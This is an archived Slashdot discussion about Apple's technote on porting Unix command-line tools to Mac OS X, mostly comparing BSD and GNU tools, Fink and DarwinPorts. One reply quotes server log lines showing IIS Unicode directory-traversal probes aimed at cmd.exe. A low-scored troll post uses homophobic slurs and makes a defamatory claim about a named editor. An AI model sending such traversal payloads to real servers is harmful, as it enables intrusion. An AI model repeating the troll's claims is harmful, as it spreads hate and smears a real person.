Porting Unix Command-Line Tools to Mac OS X

← Back to Stories (view on slashdot.org)

Porting Unix Command-Line Tools to Mac OS X

Posted by pudge on Friday May 9, 2003 @02:54AM from the mmmm-command-lines dept.

An anonymous reader writes "Over at Apple has posted a technote on porting Unix programs to Mac OS X. Nothing earth-shattering, but nice to see it all collected."

92 comments

Min score:

Reason:

Sort:

So by Znonymous+Coward · 2003-05-09 03:02 · Score: 3, Insightful

Why don't they just do it their selves and add more value to their "distro"? They could easly take all the popular GNU tools and port them to Darwin. Then we wouldn't need to use fink.

--
Karma: The shiznight, mostly because I am the Drizzle.
1. Re:So by pauljlucas · 2003-05-09 03:35 · Score: 3, Insightful
  
  Why don't they just do it their selves and add more value to their "distro"?
  Because their target market isn't geeks. There are far more users who couldn't care less about GNU tools and never want to see a command-line.
  
  --
  If you reply, do so only to what I explicitly wrote. If I didn't write it, don't assume or infer it.
2. Re:So by Knife_Edge · 2003-05-09 04:04 · Score: 2, Insightful
  
  I suppose it is true that most Apple users could care less about the command line. I am not one of them - If OS X did not support the command line as well as it did, I would be using Linux as my desktop. As it is, I have been annoyed on several occassions that the BSD command line utilities Apple provides lacked some feature that the GNU utilities have (I recall just replacing Apple's 'ls' with the GNU equivalent outright). At the same time, I don't want to mess with Fink, it introduces complexity. For example, having two sets of binaries in different places doesn't mean you can run shell scripts without changing them if they were written expecting one set to be somewhere it isn't. I'd much rather that Apple just installed the GNU stuff by default. But again, maybe that doesn't cater to their target market.
  
  I see myself eventually going back to Linux anyway since it offers users much more control over their system than even Apple is willing to allow. The problem of the situation is that Apple does have to cater to a target market, whereas in Linux you can just assemble your system to do what you want.
3. Re:So by Znonymous+Coward · 2003-05-09 04:42 · Score: 3, Interesting
  
  Because their target market isn't geeks.
  
  Then why are they selling servers?
  
  There are far more users who couldn't care less about GNU tools and never want to see a command-line.
  
  If they put the GNU tools there, non geeks would never know about it.
  
  --
  Karma: The shiznight, mostly because I am the Drizzle.
4. Re:So by Anonymous Coward · 2003-05-09 04:46 · Score: -1, Offtopic
  
  Because their target market isn't geeks. There are far more users who couldn't care less about GNU tools and never want to see a command-line.
  
  Baseless quote. Mod him down.
5. Re:So by drauh · 2003-05-09 04:57 · Score: 3, Insightful
  
  Because they'd be replicating effort by the Fink people, and that without adding value. When it is possible to add value, they have ported "standard" Unix software, the big example being XFree86 which they hacked to take advantage of the Quartz rendering engine.
  
  --
  This is a tautology.
6. Re:So by pauljlucas · 2003-05-09 04:58 · Score: 0
  
  If they put the GNU tools there, non geeks would never know about it.
  Then there's no point in paying Apple employees to work on porting the stuff.
  
  --
  If you reply, do so only to what I explicitly wrote. If I didn't write it, don't assume or infer it.
7. Re:So by Znonymous+Coward · 2003-05-09 05:07 · Score: 4, Insightful
  
  Then there's no point in paying Apple employees to work on porting the stuff.
  
  Yes there is, it's called value added software. It wouldn't cost very much to do it. Then maybe more geeks would buy macs.
  
  And don't tell me that geeks don't like macs. If they didn't, there wouldn't be a apple.slashdot.org
  
  nuff said
  
  --
  Karma: The shiznight, mostly because I am the Drizzle.
8. Re:So by pauljlucas · 2003-05-09 05:14 · Score: 1
  
  Yes there is, it's called value added software. It wouldn't cost very much to do it. Then maybe more geeks would buy macs.
  Again, geeks aren't Apple's target market and are only a small percentage of sales.
  And don't tell me that geeks don't like macs. If they didn't, there wouldn't be a apple.slashdot.org
  I don't disagree; but, yet again, the geek market is insignificant to Apple's bottom line and to its shareholders' return on investment.
  
  --
  If you reply, do so only to what I explicitly wrote. If I didn't write it, don't assume or infer it.
9. Re:So by kalidasa · 2003-05-09 05:25 · Score: 1
  
  If Fink keeps building up steam (as it has been for the past 2 years), maybe that will convince Apple that it's worthwhile to support a few staffers to start porting UNIX cl tools to OS X.
  It wouldn't cost very much to do it.
  How do you define "not very much?" I'm thinking it would cost at least $75K/employee (including benefits, overhead, and indirect stuff), and take 3 employees 1-2 years to do. But IANAPM (I am not a project manager).
10. Re:So by Lars+T. · 2003-05-09 05:37 · Score: 3, Insightful
  
  Only geeks buy servers?
  
  --
  Lars T.
  To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
11. Re:So by Lars+T. · 2003-05-09 05:41 · Score: 4, Funny
  
  because RMS would demand to put GNU in front of any product they sell. GNU/Mac OS X, GNU/iMac ...
  
  --
  Lars T.
  To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
12. Re:So by pauljlucas · 2003-05-09 05:41 · Score: 3, Insightful
  
  If Fink keeps building up steam ..., maybe that will convince Apple that it's worthwhile to support a few staffers to start porting UNIX cl tools to OS X.
  Why pay for the cow when you can get the milk for free? I'm sure those volunteering for Fink will continue to do so without being paid by Apple. A benefit is that Apple doesn't have to support anything done by Fink, including technical support calls.
  
  --
  If you reply, do so only to what I explicitly wrote. If I didn't write it, don't assume or infer it.
13. Re:So by anothy · 2003-05-09 06:30 · Score: 5, Insightful
  
  first:
  
  I have been annoyed on several occassions that the BSD command line utilities Apple provides lacked some feature that the GNU utilities have (I recall just replacing Apple's 'ls' with the GNU equivalent outright).
  then, in the very next sentance:
  At the same time, I don't want to mess with Fink, it introduces complexity.
  and, just to close it up:
  I'd much rather that Apple just installed the GNU stuff by default.
  man! i've got mod points, and i almost moderated this funny, but i wanted to make sure people got it. you don't want extra complexity, but you prefer the GNU tools to the BSD tools? y'er kiddin', right? how on earth can anyone make sense of that? the GNU tools are, on average, dramatically more complicated than the BSD tools. i used to build Linux boxes that dumped the GNU tools in favor of the BSD tools. then i got annoyed with the GNU C library and tried swapping that out. halfway through the project of rebuilding everything so that it didn't have the stupid glibc dependancies, i got fed up and went back to a BSD system - because the tools were so much simpler. Apple made a great decision in using the BSD tools rather than the GNU tools (license questions aside).
  
  oh, and as a parting kick:
  ...in Linux you can just assemble your system to do what you want.
  right. yup. unless you want it to be a good desktop system.
  
  --
  
  i speak for myself and those who like what i say.
14. Re:So by phillyclaude · 2003-05-09 06:45 · Score: 2, Insightful
  
  besides, its not like its that hard to install fink, considering the level of user that is going to miss the additional utilities. Sheesh, if Apple had included everything out of the box, people would be complaining that apple forced one set of tools on their users
  -Claude
  
  --
  A computer without a Microsoft operating system is like a dog without bricks tied to its head
15. Re:So by Anonymous Coward · 2003-05-09 06:58 · Score: 1, Interesting
  
  The current size of Mac OS X is already really, really big. Adding extra tools that a majority of users will not use isn't worth the additional size. It used to be that an install of the Mac OS could fit onto one CD, now it takes two CDs or a DVD for an install.
16. Re:So by kwerle · 2003-05-09 07:11 · Score: 1
  
  Rock on :-)
17. Re:So by WatertonMan · 2003-05-09 07:24 · Score: 4, Insightful
  
  Those who are able to recognize the difference between GNU versions of the BSD utilities are savvy enough to install the GNU utilities or Fink. If you don't like Fink check out Darwinports which is a different approach to the issue. It sounds more like what you want. A lot of us prefer having all the custom source code in /sw rather than replacing the standard BSD stuff from Apple so that we have access to both.
  DarwinPorts
18. Re:So by WatertonMan · 2003-05-09 07:31 · Score: 4, Informative
  
  A lot of porting is done by Apple employees. Just not necessary at Apple's request. This limits how much support Apple has to provide for these opensource projects and also limits their liability if something goes wrong. Quoting from the opendarwin page, "many OpenDarwin members are either Apple employees or Darwin Committers, who have an active interest in merging technologies from OpenDarwin.org into Darwin and Mac OS X releases. With OpenDarwin, project members have greater latitude in producing incremental updates or interim releases of Darwin. The mission of the OpenDarwin project is to innovate and explore new technologies while still remaining relevant, through its informal connection to www.opensource.apple.com, to the mainstream computing environments that Apple provides. It complements Apple's infrastructure by allowing increased participation by the community."
  As to the choice of BSD or GNU standard tools, that's a bit of a personal preference. However since Darwin is based on BSD (with a lot of FreeBSD of late) rather than Linux it shouldn't be surprising that it retains its tools. That is more in keeping with its BSD roots.
  As I mentioned elsewhere if you are savvy enough to recognize the difference in the tools you ought to be savvy enough to build the GNU versions of the tools.
19. Re:So by rhombic · 2003-05-09 09:15 · Score: 1
  
  People already scream at the price for the upgrades within Jaguar. If Apple spends more on development, they'll have to price it higher. I suspect the number of people who'll spend $4000 on a laptop would change very little.
  
  --
  1984 was supposed to be a warning, not an instruction manual.
20. Re:So by mgs1000 · 2003-05-09 09:19 · Score: 1
  
  Because they'd have to provide support for the programs?
21. Re:So by RestiffBard · 2003-05-09 09:36 · Score: 1
  
  Riddle me this Batman. If when Apple makes software that pretty much negates a third-party solution people get pissy why would people then also get pissy when Apple doesn't produce software that no one gets paid for and only .01% of the Apple community would ever use?
  
  --
  - /* dead coders leave no comments */
22. Re:So by HSpirit · 2003-05-09 10:53 · Score: 2, Interesting
  
  I'm the Graphic Designer/IT Guy in a small advertising agency. MacOSX has allowed me to create - entirely for free - our own mail server (fetchmail-sendmail-qpopper), internal job versioning and approval system (Apache-WebDAV), internal messaging application (Apache-perl), firewall (ipfw), remote login (OpenSSH) and probably a myriad of smaller applications that I use without thinking about everyday, all from ported GNU/BSD command-line apps...
  
  ...all on the same machine that runs our core-business GUI apps: Photoshop, QuarkXPress [unfortunately a hangover from our previous OS9 use] and Acrobat.
  
  I say horray to the command-line :)
23. Re:So by Knife_Edge · 2003-05-09 12:38 · Score: 1
  
  Yeah, I'm a laugh riot. I essentially just said every now and then I find a feature missing from the BSD tools that exists in the GNU tools. Honestly, I enjoy extra complexity if it comes from a feature I want.
  
  Extra complexity that I do not want would be what I described, using fink to maintain two sets of binaries for GNU and BSD versions of the same tool in order to get an additional feature or a different behavior that I desire. I think this is annoying and would prefer just to replace one with the other. In fact, I would prefer GNU tools be installed by default, since in my experience, the BSD tools are the ones lacking in features.
  
  Simplicity in software, that you seem to idolize, is not nearly as valuable to me as software that does what I want. Truthfully, I am used to the GNU tools, and when I find a comparable BSD one lacks a certain command line option or something like that, it annoys me.
  
  You may find this humorous, but it is not a joke. Also, I doubt very much that you know my requirements for a good desktop system.
24. Re:So by Anonymous Coward · 2003-05-09 18:43 · Score: 0
  
  I know it is not a joke, but it is funny to me.
  
  Hell, I like to watch linux dudes in front of a Solaris or AIX session; I snicker as they fumble their way around. The better that they know linux, the more that they fumble. It is the same giddy feeling that I get when I hand someone my HP42s.
25. Re:So by Raven42rac · 2003-05-09 19:19 · Score: 1
  
  dude, huh?
  
  --
  I hate sigs.
26. Re:So by jsmith38 · 2003-05-10 07:22 · Score: 1
  
  I couln't agree more with the bottom line argument.
  
  Think about how much more money apple makes on Software like:
  Final Cut Pro/Express
  Logic Platinum
  Shake
  Keynote
  
  but then think about how much money Apple makes on their X11. Maybe indirectly. For example, the matlab package is a lot faster with the Apple's X11 graphics engine and the quartz-wm. And then people buy more Macs because of this, but it is much easier to convience Stockholders about direct income.
27. Re:So by Znonymous+Coward · 2003-05-10 11:00 · Score: 1
  
  I started on AIX and SCO. I have since ported our worked on porting our stuff GNU/Linux because it's less rigid than UNIX. There are some cool things in AIX that I miss. Mostly the SRC, errdaemon, LVM. We have our "versions" of these tools but they havent matured as well as AIX.
  
  --
  Karma: The shiznight, mostly because I am the Drizzle.
28. Re:So by Ponty · 2003-05-11 17:10 · Score: 2, Funny
  
  You mean we'd be able to buy GNU/eMacs in stores?
29. Re:So by platipusrc · 2003-05-13 12:00 · Score: 1
  
  obviously only geeks buy servers, or I wouldn't be seeing this in error_log (or am I getting geeks mixed up with morons?).
  
  68.158.145.171 - - [13/May/2003:14:26:46 -0400] "GET /scripts/..%c1%1c../winnt/s ystem32/cmd.exe?/c+dir HTTP/1.0" 404 309
  68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%c0%2f../winnt/s ystem32/cmd.exe?/c+dir HTTP/1.0" 404 309
  68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%c0%af../winnt/s ystem32/cmd.exe?/c+dir HTTP/1.0" 404 309
  68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%c1%9c../winnt/s ystem32/cmd.exe?/c+dir HTTP/1.0" 404 309
  68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%%35%63../winnt/ system32/cmd.exe?/c+dir HTTP/1.0" 400 293
  68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%%35c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 400 293
  68.158.145.171 - - [13/May/2003:14:26:47 -0400] "GET /scripts/..%25%35%63../winn t/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
  68.158.145.171 - - [13/May/2003:14:26:48 -0400] "GET /scripts/..%252f../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 310
  
  --
  And the muscular cyborg German dudes dance with sexy French Canadians
30. Re:So by Anonymous Coward · 2003-05-14 06:00 · Score: 0
  
  Why pay for the cow when you can get the milk for free?
  
  This worked very well when Apple leeched the core of their OS. That move probably saved them a shitload of cash.
petrified natalie portman by count_sporkula · 2003-05-09 03:02 · Score: -1

stuffing hot grits down my pants while watching *BSD die.

--
you're winner!!
its about iTime. by Beatbyte · 2003-05-09 03:03 · Score: 3, Interesting

its about time. i figured with the BSD core they would be a lot quicker at it than this.

Especially trying to support some new servers

Either way, this may help the adoption of the Apple into the IT industry a little more.

It'll be interesting to see whether or not they're included into the next release of X.

--
Get paid to code OSS
1. Re:its about iTime. by Van+Halen · 2003-05-09 08:14 · Score: 2, Informative
  
  This is just an update of an older document, probably for Jaguar. Checking my bookmarks, the old url is now gone. I recall checking it in the last few weeks, so clearly it was just moved and updated.
  
  --
  Say hello to zMac.
Makes Mac OS easier to use! by Anonymous Coward · 2003-05-09 03:05 · Score: -1, Insightful

The hiding of the command line or lack of it has always crippled the Mac OS from day one; there are some operations that are a lot easier and quicker on a command line than on a GUI. This is a good move.
1. Re:Makes Mac OS easier to use! by feldsteins · 2003-05-09 03:38 · Score: 4, Insightful
  
  You seem to think this story represents some kind of "move" that it does not. I'm guessing you're not all that familiar with OS X. Fro example, there is no "hiding" of the command line. There's an application called "Terminal" that, when launched, gives you a standard tcsh command line. It no more "hidden" than their "add a printer" utility.
  
  I recommend you try OS X sometime. You might like it. At the very least you'll understand a little more than it's a bona fide Unix operating system and hasn't been "dumbed down" as you seem to imply.
  
  --
  You like your Macintosh better than me, don't you Dave? Dave? Can you hear me Dave?
2. Re:Makes Mac OS easier to use! by Anonymous Coward · 2003-05-09 04:24 · Score: 2, Insightful
  
  It hides the command line about as much as a KDE system hides the command line
  
  Open the terminal app and there's a BSD command line/Open Konsole and there's a Linux command line
  
  Login to a console instead of Aqua and there's a command line/Login to a console instead of XFree86 and there's a command line
3. Re:Makes Mac OS easier to use! by BigBir3d · 2003-05-09 04:29 · Score: 3, Interesting
  
  I believe the AC was trying to poke fun at Microsoft for moving away from command line while at the same time Apple is moving towards it. Compare Windows 98 to XP and OS 9 to OS X.
4. Re:Makes Mac OS easier to use! by Anonymous Coward · 2003-05-09 04:32 · Score: -1, Redundant
  
  "Fro example, there is no "hiding" of the command line"
  
  What about versions 1 through 9? I had a Mac during one of these versions, and could not even find the command line. They have a legacy of such OS-crippling. Thankfully, they undid it with OS X, which was the first "ready for prime time" OS they ever did.
  
  I wasn't saying that OS-X was dumbed down this way. I was saying that the more they can do to improve the CLI the better, to play "catch up".
5. Re:Makes Mac OS easier to use! by kalidasa · 2003-05-09 05:20 · Score: 4, Interesting
  
  I believe the AC was trying to poke fun at Microsoft for moving away from command line while at the same time Apple is moving towards it. Compare Windows 98 to XP and OS 9 to OS X.
  
  I don't. I think the AC doesn't yet know the difference between a command line interface and a command line tool. He'll learn, he's in the right place.
  
  I'd shy away from making the Win98:WinXP::OS9:OSX analogy, if I were you. Too many lusers will take it too literally./p.
6. Re:Makes Mac OS easier to use! by bmetzler · 2003-05-09 05:57 · Score: 0, Offtopic
  
  There's an application called "Terminal" that, when launched, gives you a standard tcsh command line.
  I think my Terminal application is lost. I "moved" it from the Applications folder to the taskbar so that it would be easier to access, then it got in the way, so I moved it to the trash. However, I didn't realise that it was the real application, and not a link, so now that I've emptied the trash, I don't have a terminal anymore :( I've searched apple.com and the CD's for it, but can't find it anywhere. Is there a way to get my Terminal back apart from reinstalling OS X completely?
  -Brent
7. Re:Makes Mac OS easier to use! by Anonymous Coward · 2003-05-09 06:31 · Score: 0
  
  A good substitute for the Terminal application is iTerm from http://sourceforge.net/projects/iterm/.
8. Re:Makes Mac OS easier to use! by Anonymous Coward · 2003-05-09 06:38 · Score: 0
  
  Um, dragging an app from the dock to the trash won't delete it, just remove it from the dock. And dragging it from the Applications folder to the dock creates a special link, rather than moving it - the app is still in the Applications folder. You can only delete the Terminal by trashing it directly from the Applications/Utilities folder - look for it there.
9. Re:Makes Mac OS easier to use! by feldsteins · 2003-05-09 07:19 · Score: 1
  
  Well either someone could send it to you or you could try one of the other terminal apps out there. this one looked interesting.
  
  Oh, and dragging something from the Apps folder to the Dock (it's not called "taskbar") results in an shortcut or "alias" of the thing. The original item doesn't get moved when one draggs to the Dock. You must've dragged it somewhere else or otherwise deleted it entirely.
  
  --
  You like your Macintosh better than me, don't you Dave? Dave? Can you hear me Dave?
10. Re:Makes Mac OS easier to use! by feldsteins · 2003-05-09 07:21 · Score: 1
  
  Well that "move" happened a couple of years ago and has nothing to do with the current story then. I guess I just misunderstood because of that disconnect.
  
  --
  You like your Macintosh better than me, don't you Dave? Dave? Can you hear me Dave?
11. Re:Makes Mac OS easier to use! by Pathwalker · 2003-05-09 10:13 · Score: 2, Interesting
  
  In versions of MacOS before OSX, the command line was called MPW - you could download it from here.
  
  Admittedly, installing a development environment is a little overkill to just get a command line, but it would give you one...
12. Re:Makes Mac OS easier to use! by Arandir · 2003-05-11 10:03 · Score: 1
  
  Open Konsole and there's a Linux command line
  
  Every time I open Konsole I get a FreeBSD command line instead. Maybe I should log this as a bug to Redhat so they can fix it for me.
  
  --
  A Government Is a Body of People, Usually Notably Ungoverned
13. Re:Makes Mac OS easier to use! by pudge · 2003-05-12 23:35 · Score: 1
  
  What about versions 1 through 9? I had a Mac during one of these versions, and could not even find the command line.
  
  There wasn't one. Mac OS and Mac OS X are two fundamentally different operating systems. They are not comparable in such terms. Mac OS X is NeXT (which has a BSD core), with the Mac OS API tacked on.
  
  I wasn't saying that OS-X was dumbed down this way. I was saying that the more they can do to improve the CLI the better, to play "catch up".
  
  I run Slash, a very complex POSIX-heavy system, on Mac OS X with no problems. I run command-line tools on my Mac as easily than I do on my Linux or Solaris box. Saying they need to "catch up" shows you don't know what you're talking about.
14. Re:Makes Mac OS easier to use! by pudge · 2003-05-12 23:40 · Score: 1
  
  I think my Terminal application is lost. I "moved" it from the Applications folder to the taskbar so that it would be easier to access, then it got in the way, so I moved it to the trash. However, I didn't realise that it was the real application, and not a link, so now that I've emptied the trash, I don't have a terminal anymore
  
  That does not happen. Dragging something to the Dock and then to the Trash does not delete it. It never has.
15. Re:Makes Mac OS easier to use! by bmetzler · 2003-05-13 00:55 · Score: 1
  
  That does not happen. Dragging something to the Dock and then to the Trash does not delete it. It never has.
  Yep, I guess that shows how well I know OS X. I guess I moved it to the desktop *and* the Dock, and then deleted it from both places eventually.
  -Brent
Troll Nostalgia (was:petrified natalie portman) by hkon · 2003-05-09 03:28 · Score: 3, Funny

stuffing hot grits down my pants while watching *BSD die.

What is this? Retro-trolling? If you're trying to keep up with the latest trolling trends at least make the hot grits stuff you down its pants or something.
1. Re:Troll Nostalgia (was:petrified natalie portman) by jaoswald · 2003-05-09 09:10 · Score: -1, Flamebait
  
  How's this:
  
  1) In Soviet Russia
  2) Natalie Portman petrifies
  3) ???
  4) YOUR hot grits!
2. Re:Troll Nostalgia (was:petrified natalie portman) by Rinikusu · 2003-05-09 17:34 · Score: 0, Offtopic
  
  What the hell. I've got karma to burn.
  *ahem*
  
  There are no Soviet hot grits stuffing hot pants down you! They are committing suicide at the Gap!
  
  Thank you. Thank you vurry much.
  
  --
  If you were me, you'd be good lookin'. - six string samurai
3. Re:Troll Nostalgia (was:petrified natalie portman) by jaoswald · 2003-05-21 12:02 · Score: 1
  
  I like it!
what's the point? by photon_chac · 2003-05-09 03:33 · Score: 0, Insightful

In porting unix command-line or non-command-line tools to OS X?
attract unix users to that sweet os? or make powerful also sweet applications out of these unix tools? do you really think they , mac users , will accustom them to m4 , groff , epn etc or anything built upon them?
I think UNIX and OS?(number,X,whatever) are two fundamentally different ways of doing OSs and so it is with their user group.

--
KOS-MOS
1. Re:what's the point? by Anonymous Coward · 2003-05-09 04:20 · Score: 0
  
  I think UNIX and OS?(number,X,whatever) are two fundamentally different ways of doing OSs and so it is with their user group.
  
  Considering OSX is a unix, your comment makes no sense whatsoever. You may as well say "I think IBM and International Business Machines are two fundamentally different companies"
2. Re:what's the point? by Anonymous Coward · 2003-05-09 04:34 · Score: 3, Insightful
  
  You seem to be under the mistaken impression that a UNIX OS cannot have useful well written applications or it's not a unix. That kind of false restriction on development is one of the things that's kept unix boxes in the desktop backwaters for decades. OSX has both worlds, and does it quite simply because those worlds are not exclusive. Open up OSX and run a terminal window or console login. hell, run 5 of the things and you're in as geeky a land as any Linux system. On the other hand, run Safari, Office v.X, Dreamweaver, Photoshop and Pro Tools if you like - and there's your polished slick app land.
  
  There is nothing whatsoever preventing you from doing both if you need, or even mixing further. My OSX runs OSX only apps (in Aqua), fink apps including GNU commandline utils, KDE, Gnome and macos Classic apps, all at the one time. It's the most flexible mix I've ever used in 20 years of my computing experience.
3. Re:what's the point? by Matthias+Wiesmann · 2003-05-09 04:40 · Score: 4, Informative
  do you really think they , mac users , will accustom them to m4 , groff , epn etc or anything built upon them?
  Actually, there are many nice OS X applications that are build around unix programs:
  
  Texshop is a wrapper around Latex.
  
  cocoaspell is a wrapper around the Unix spell checker aspell
  
  GPG Mail is a wrapper around the Gnu PGP implementation so that Mail.app can handle PGP.
  
  Those are just the first that came to my mind, there are many others. The fact that program interfaces are different does not mean that porting applications and components is useless, it simply means that a new interface will be needed.
  The intersting thing is that the service menu is something very Unixish, many command line utilities would make good services. For those that don't know OS X, services are components that take the current selection and apply some treatement on them. There are services that search google, do text transformation, ec...
4. Re:what's the point? by Anonymous Coward · 2003-05-09 04:48 · Score: -1, Flamebait
  
  False. OSX is not UNIX. It's a proprietary apple OS.
5. Re:what's the point? by jo_ham · 2003-05-09 06:47 · Score: 4, Informative
  
  I use GPG Mail with Mail.app and it's great, combined with GnuPG for OS X.
  
  I also use Tiny Fugue in the terminal to connect to a journal community chat server. You need Apple's free Developer Tools to build it though, but it works perfectly.
  
  I also use NcFTP for all my ftp needs. It used to be included with 10.1.x, but Apple stopped shipping it with 10.2.x, instead favouring the basic BSD ftp, which they improved in Jaguar. I prefer NcFTP though, and had no problems building it from source with the Developer Tools.
  
  The huge bonus I've found with OS X's terminal is the way it integrates with the "consumer" side of the OS making command line work more conveinent. For example, if I'm not in the mood to drill down into a directory to upload a file in NcFTP I can just drag it onto the terminal after typing "put [space]". I can also command+click links in TF to open them in my browser. These tricks work in the shell too, often handy for perfoming operations on files deeper in directories that I don't want to navigate to by typing them out. (Yes, yes, I'm lazy).
6. Re:what's the point? by Gropo · 2003-05-09 06:52 · Score: 2, Funny
  
  False. OSX is not UNIX. It's a proprietary apple OS.
  Crap! What jokester put all this POSIX-compliancy in my "proprietary apple OS"?
  
  --
  I hate Grammar Nazi's
7. Re:what's the point? by pressman · 2003-05-09 09:49 · Score: 1
  
  Yeah, this is flamebait, but I have karma to spare! What's with the BSD subsystem and the Mach microkernel then? What's with the terminal? Crawl out from under your rock you troglodyte!
  
  --
  Pooty tweet
8. Re:what's the point? by jo_ham · 2003-05-10 01:40 · Score: 2, Funny
  
  eek! You're right! I installed OS X 30 days ago and now it's telling me I have to phone Apple, long distance, to "activate" it or somethingwith my Social Security Number, my passport details, my dna, the rights to my first born child and two side orders of onion rings.
  
  I need to write my term paper and I'm like, bummer, they're engaged.
  
  OS X is not a Unix like cigarettes don't cause cancer.
  
  Sure the top layers are proprietary, but the Darwin level is all open source. Hell, you can download it from Apple's site and install it yourself.
  Or install OS X itself and compile all those useful tools designed for BSD-style unix OSes.
  
  They keep the top levels closed for a reason - to make money, and to ensure that the overall feel of the system stays the same.
9. Re:what's the point? by pudge · 2003-05-12 23:42 · Score: 1
  
  Yeah, "proprietary" has not one thing to do with whether or not something is "Unix." Being Unix has to do with only two things: being compliant with the interface, and paying the trademark holders a certain amount of money. Apple has the former and not the latter. Suits me just fine.
The Point. by jellomizer · 2003-05-09 03:46 · Score: 4, Insightful

The reason I use OS X is basicly because I have access to the UNIX command-line tools and I can usually easily port them to OS X. OS X has a nice set of application that are comericalially available Like Photoshop (I know the gimp is close but Photoshop works better for me) so I can do my Unix stuff at the command line and have access to some good comerical software. It is like having the best of both worlds. That and sometimes having the ability to pipe information is really good.

--
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
1. Re:The Point. by pressman · 2003-05-09 04:15 · Score: 2
  
  I essentially agree with you, but beg to differ on one point. The GIMP is light years away from being a real competitor to Photoshop. I could list the palces where GIMP falls flat on it's face, but I have to get back to doing some actual work in Photoshop. Plus, this war has been waged many many times here.
  
  --
  Pooty tweet
They could learn from themselves by Anonymous Coward · 2003-05-09 04:13 · Score: 0

Apple should be following their own advice. It seems with every 0.0.x release they break more and more commandline utilities. First some basic ones like tcsh and ls when 10.2.1 was released, now getting sense from route, routed and netstat is well near impossibly without a segfault

Cluebat to apple, some of us do use these utilities regularly, and they're as important as having a pretty mail client or a fancy browser.
Err, it's a BSD system, not a GNU system. by Anonymous Coward · 2003-05-09 04:14 · Score: 4, Insightful

It used BSD tools, not GNU tools.

Deal with it.
Unix tools... already ported! by 1155 · 2003-05-09 05:03 · Score: 5, Informative

Well, if your a unix head, using a mac, and have been under a rock for a long time, here ya go

http://www.osxgnu.org/ Go here for packages to install.

http://fink.sf.net Wow, apt-get for os x

http://finkcommander.sf.net Wow, a gui for fink

http://www.apple.com/downloads/macosx/apple/x11for macosx.html An x11 server that uses quartz extreme (or whatever you want to call it)

There are many other things to use, too
1. Re:Unix tools... already ported! by goon+america · 2003-05-09 06:54 · Score: 4, Informative
  
  Apple keeps some contributed ports for download here:
  http://www.apple.com/downloads/macosx/unix_open_so urce/
2. Re:Unix tools... already ported! by goon+america · 2003-05-09 12:10 · Score: 1
  
  http://macosx.forked.net/ has a fair number of ports and some handy porting tips
getopt.h vs unistd.h by mlinksva · 2003-05-09 05:24 · Score: 1

getopt.h Not supported, use unistd.h
Is that all that's required? I tried replacing getopt include with unistd, among other things to try to get http://prdownloads.sourceforge.net/id3v2/id3v2-0.1 .9.tar.gz to compile on OS X, and it still didn't. I don't have a Mac, this was on a friend's machine, so I don't have the error.
BTW, in order to get id3lib to compile (which id3v2 above depends on) I had to use these flags:
./configure CXX=g++2
For those who don't like fink... by daveschroeder · 2003-05-09 07:54 · Score: 4, Informative

At the same time, I don't want to mess with Fink, it introduces complexity. For example, having two sets of binaries in different places doesn't mean you can run shell scripts without changing them if they were written expecting one set to be somewhere it isn't.

DarwinPorts

DarwinPorts FAQ

Interview with Jordan Hubbard on DarwinPorts (Slashdot article)
Easier solution by js62 · 2003-05-09 08:55 · Score: 2, Interesting

If you want Unix tools and don't like Apple's, get Yellow Dog Linux and install mac-on-linux. I run my iBook that way and I have instant access to both OS's. No need to reboot to get to the other. OS X runs at near native speeds on top of MOL.
1. Re:Easier solution by exp(pi*sqrt(163)) · 2003-05-09 10:32 · Score: 2
  
  Does *everything* run at native speeds under MOL? What about playing DVDs, sound, 3D graphics etc.
  
  --
  Doesn't it make you feel good to know that our freedoms are protected by politicans, lawyers and journalists.
Interesting hedge by babbage · 2003-05-09 10:08 · Score: 1

I like the section on available GCC flags, specifically:
-arch arch
Compile for the specified target architecture arch. Currently Apple supported arch is ppc.
"Currently" supported? What does that mean?
It doesn't seem like such a stretch to assume that other architectures are officially not out of the question, with a hedge statement like this one. Very interesting...

--
DO NOT LEAVE IT IS NOT REAL
1. Re:Interesting hedge by dadragon · 2003-05-09 12:24 · Score: 3, Informative
  
  "Currently" supported? What does that mean?
  
  It means that at one time, there were more archs supported. NeXT/Open Step ran on ix86, m68k, powerpc, mips, sparc, etc.
  
  It doesn't seem like such a stretch to assume that other architectures are officially not out of the question, with a hedge statement like this one. Very interesting...
  
  I wouldn't be too surprised if Apple has most of those running internally. I also wouldn't be too surprised if they release a server based on something that isn't powerpc, but the client is out of the question.
  
  I also wouldn't be too surprised if an unreleased version of Windows 2003 Server runs on PowerPC and MIPS.
  
  --
  God save our Queen, and Heaven bless The Maple Leaf Forever!
2. Re:Interesting hedge by pudge · 2003-05-12 23:45 · Score: 1
  
  Apple's gcc is based on NeXT's gcc, which supported multiple architectures already. There's no reason to think this is was added for future compatability, since we know for a fact it is a leftover from a previous version. :-)
3. Re:Interesting hedge by BandwidthHog · 2003-05-13 09:11 · Score: 1
  
  I wouldn't be too surprised if Apple has most of those running internally. I also wouldn't be too surprised if they release a server based on something that isn't powerpc, but the client is out of the question.
  They do.
  
  google://apple+marklar
  
  I also wouldn't be too surprised if an unreleased version of Windows 2003 Server runs on PowerPC and MIPS.
  *shudder*
  
  --
  
  Quantum materiae materietur marmota monax si marmota monax materiam possit materiari?
4. Re:Interesting hedge by babbage · 2003-05-13 13:16 · Score: 1
  
  Spoilsport :-)
  
  --
  DO NOT LEAVE IT IS NOT REAL
Dear Apple by Anonymous Coward · 2003-05-09 15:24 · Score: -1

Dear Apple,
I am a homosexual. I bought an Apple computer because of its well earned reputation for being "the" gay computer. Since I have become an Apple owner, I have been exposed to a whole new world of gay friends. It is really a pleasure to meet and compute with other homos such as myself. I plan on using my new Apple computer as a way to entice and recruit young schoolboys into the homosexual lifestyle; it would be so helpful if you could produce more software which would appeal to young boys. Thanks in advance.
with much gayness,
Father Randy "Pudge" O'Day, S.J.
Dear Father O'Day by Anonymous Coward · 2003-05-09 15:26 · Score: -1

Dear Father O'Day:
